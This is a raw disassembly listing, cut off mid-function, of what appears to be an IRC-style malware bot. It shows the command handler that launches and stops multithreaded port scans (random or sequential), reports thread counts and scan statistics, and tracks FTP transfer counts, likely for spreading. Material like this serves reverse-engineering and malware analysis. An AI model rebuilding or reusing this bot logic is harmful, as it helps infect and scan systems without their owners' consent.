; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422640	proc near		; CODE XREF: sub_4013E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401EF1
		add	esp, 8
		retn	8
sub_422640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422670	proc near		; CODE XREF: sub_4018FCj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422670	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422690	proc near		; CODE XREF: sub_4018F7j
		mov	eax, [ecx]
		retn
sub_422690	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226B0	proc near		; CODE XREF: sub_4019BAj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401839
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4226B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226E0	proc near		; CODE XREF: sub_40163Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401A8C
		pop	ecx
		retn	4
sub_4226E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422700	proc near		; CODE XREF: sub_401E7Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FB9
		pop	ecx
		retn	4
sub_422700	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422720	proc near		; CODE XREF: sub_401A3Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_42273B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_42273B:				; CODE XREF: sub_422720+11j
		retn
sub_422720	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422750	proc near		; CODE XREF: sub_40203Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422750
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422791
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_401681


loc_422791:				; CODE XREF: sub_422750+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422750	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4227E0	proc near		; CODE XREF: sub_401EF1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4227E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422821
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4014D3


loc_422821:				; CODE XREF: sub_4227E0+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4227E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422850	proc near		; CODE XREF: sub_401A8Cj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4019C9
		retn
sub_422850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422870	proc near		; CODE XREF: sub_401FB9j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_422870	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422890	proc near		; CODE XREF: sub_401681j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_4014D3
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_422890	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4228C0	proc near		; CODE XREF: sub_4019C9j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A82
		test	[esp+4+arg_0], 1
		jz	short loc_4228D8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4228D8:				; CODE XREF: sub_4228C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4228C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4228F0	proc near		; CODE XREF: sub_401AF5j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4228F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	dword_4D7F8B, offset aAsn ; "asn"
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+8D008h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4228F0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+2Ch]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+8D036h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+2Ch]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+8D064h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+8D092h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+44h]
		push	6
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 8D0C0h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422B40	proc near		; CODE XREF: sub_40138Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_422B40
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8D008h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422C0A
		push	3
		call	sub_40148D
		add	esp, 4
		test	eax, eax
		jle	short loc_422BDD
		push	3
		call	sub_401DA2
		mov	eax, dword_50DB50[eax*8]
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422BDD:				; CODE XREF: sub_422B40+52j
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422C0A:				; CODE XREF: sub_422B40+40j
		lea	ecx, [ebp+8D0C0h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422CB0
		mov	edi, dword_4D8370
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		cmp	edi, ebx
		jl	loc_4232BD
		mov	edx, dword_44964F
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422CB0:				; CODE XREF: sub_422B40+DFj
		lea	ecx, [ebp+8D064h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_422D30
		push	eax
		push	3
		call	sub_401DA7
		add	esp, 8
		test	eax, eax
		jle	short loc_422D05
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		jmp	loc_422F39
; ---------------------------------------------------------------------------


loc_422D05:				; CODE XREF: sub_422B40+194j
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_422F39
; ---------------------------------------------------------------------------


loc_422D30:				; CODE XREF: sub_422B40+185j
		lea	ecx, [ebp+8D036h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		mov	edi, dword_511B14
		test	eax, eax
		jnz	loc_422DDE
		push	3
		call	sub_40148D
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset asc_444600 ; " "
		push	2
		push	eax
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_4017EE
		push	eax
		call	edi
		add	eax, ebx
		add	esp, 4
		cmp	eax, 1F4h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_422F56
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_422DDE:				; CODE XREF: sub_422B40+20Bj
		lea	ecx, [ebp+8D092h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422F39
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, dword_445418
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_422E69
		mov	eax, offset dword_445418


loc_422E55:				; CODE XREF: sub_422B40+327j
		cmp	[eax+8], edi
		jb	short loc_422E5F
		mov	[esp+7A0h+var_78D], 1


loc_422E5F:				; CODE XREF: sub_422B40+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_422E55


loc_422E69:				; CODE XREF: sub_422B40+30Ej
		mov	ebp, dword_511C00
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp
		mov	eax, dword_445418
		add	esp, 8
		test	eax, eax
		jz	short loc_422ECF
		mov	edi, offset dword_445420


loc_422E8F:				; CODE XREF: sub_422B40+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		call	near ptr 77C47920h
		nop
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422E8F


loc_422ECF:				; CODE XREF: sub_422B40+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		call	near ptr 77C47920h
		nop
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_422F29
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	0
		call	sub_40152D
		add	esp, 10h


loc_422F29:				; CODE XREF: sub_422B40+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010D2
		add	esp, 4


loc_422F39:				; CODE XREF: sub_422B40+1C0j
					; sub_422B40+1EBj ...
		xor	al, al


loc_422F3B:				; CODE XREF: sub_422B40+98j
					; sub_422B40+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_422F56:				; CODE XREF: sub_422B40+26Ej
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_4017EE
		push	eax
		call	edi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+7A0h+var_4], ebp
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, ebp
		jnb	short loc_423033
		mov	[esp+7A0h+var_658], ebp
		jmp	short loc_423043
; ---------------------------------------------------------------------------


loc_423033:				; CODE XREF: sub_422B40+4E8j
		cmp	eax, 3Ch
		jbe	short loc_423043
		mov	[esp+7A0h+var_658], 3Ch


loc_423043:				; CODE XREF: sub_422B40+4F1j
					; sub_422B40+4F6j
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_42309C
		mov	[esp+7A0h+var_654], eax


loc_42309C:				; CODE XREF: sub_422B40+553j
		mov	eax, dword_445418
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_42316C
		mov	ebp, offset dword_445418
		jmp	short loc_4230C2
; ---------------------------------------------------------------------------


loc_4230BF:				; CODE XREF: sub_422B40+602j
		or	ebx, 0FFFFFFFFh


loc_4230C2:				; CODE XREF: sub_422B40+57Dj
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_4017EE
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_4230EC:				; CODE XREF: sub_422B40+5CAj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_423110
		test	al, al
		jz	short loc_42310C
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_423110
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_4230EC


loc_42310C:				; CODE XREF: sub_422B40+5B6j
		xor	eax, eax
		jmp	short loc_423114
; ---------------------------------------------------------------------------


loc_423110:				; CODE XREF: sub_422B40+5B2j
					; sub_422B40+5C0j
		sbb	eax, eax
		sbb	eax, ebx


loc_423114:				; CODE XREF: sub_422B40+5CEj
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	short loc_42314A
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_4230BF
		jmp	short loc_423169
; ---------------------------------------------------------------------------


loc_42314A:				; CODE XREF: sub_422B40+5EFj
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, dword_445418[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_423169:				; CODE XREF: sub_422B40+608j
		or	ebx, 0FFFFFFFFh


loc_42316C:				; CODE XREF: sub_422B40+572j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_42318A
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_4232A5
; ---------------------------------------------------------------------------


loc_42318A:				; CODE XREF: sub_422B40+635j
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	offset dword_4447F8
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_4013ED
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		test	edi, edi
		jz	loc_423267
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C47660h
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_401226
		jmp	loc_423396
; ---------------------------------------------------------------------------


loc_423267:				; CODE XREF: sub_422B40+688j
		push	offset dword_4455E4
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		push	offset off_4455E0
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		push	offset aB	; " -b"
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_4232A5:				; CODE XREF: sub_422B40+645j
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_4232BD:				; CODE XREF: sub_422B40+132j
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_4232C4:				; CODE XREF: sub_422B40+735j
					; sub_422B40+745j ...
		mov	ecx, dword_4D808D
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		nop
		call	near ptr 71AB951Eh
		push	offset off_4455E0
		mov	ecx, esi
		call	sub_4013ED
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		mov	ecx, esi
		push	offset dword_4455E4
		call	sub_4013ED
		test	eax, eax
		jz	short loc_42338B
		push	offset off_4455E0
		mov	ecx, esi
		call	sub_4013ED
		mov	ebp, dword_511A9C
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_42337E


loc_423362:				; CODE XREF: sub_422B40+83Cj
		test	eax, eax
		jz	short loc_42337E
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_423362


loc_42337E:				; CODE XREF: sub_422B40+820j
					; sub_422B40+824j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_423396
; ---------------------------------------------------------------------------


loc_42338B:				; CODE XREF: sub_422B40+7F1j
		mov	[esp+7A0h+var_630], 0


loc_423396:				; CODE XREF: sub_422B40+722j
					; sub_422B40+849j
		mov	edx, dword_4D808D
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_4233F8
		mov	eax, offset aSequential	; "sequential"


loc_4233F8:				; CODE XREF: sub_422B40+8B1j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ecx, ds:4453FAh[eax*4]
		push	ecx
		push	offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		push	0
		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401BEA
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
		call	sub_402284
		mov	al, 1
		jmp	loc_422F3B
sub_422B40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4236F0	proc near		; CODE XREF: sub_40114Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
		push	ebx
		test	ecx, ecx
		push	offset byte_448F30
		mov	ecx, offset dword_449958
		setnz	bl
		call	sub_4014DD
		push	eax
		push	ebx
		push	ebx
		push	offset byte_4D8075
		call	sub_401857
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
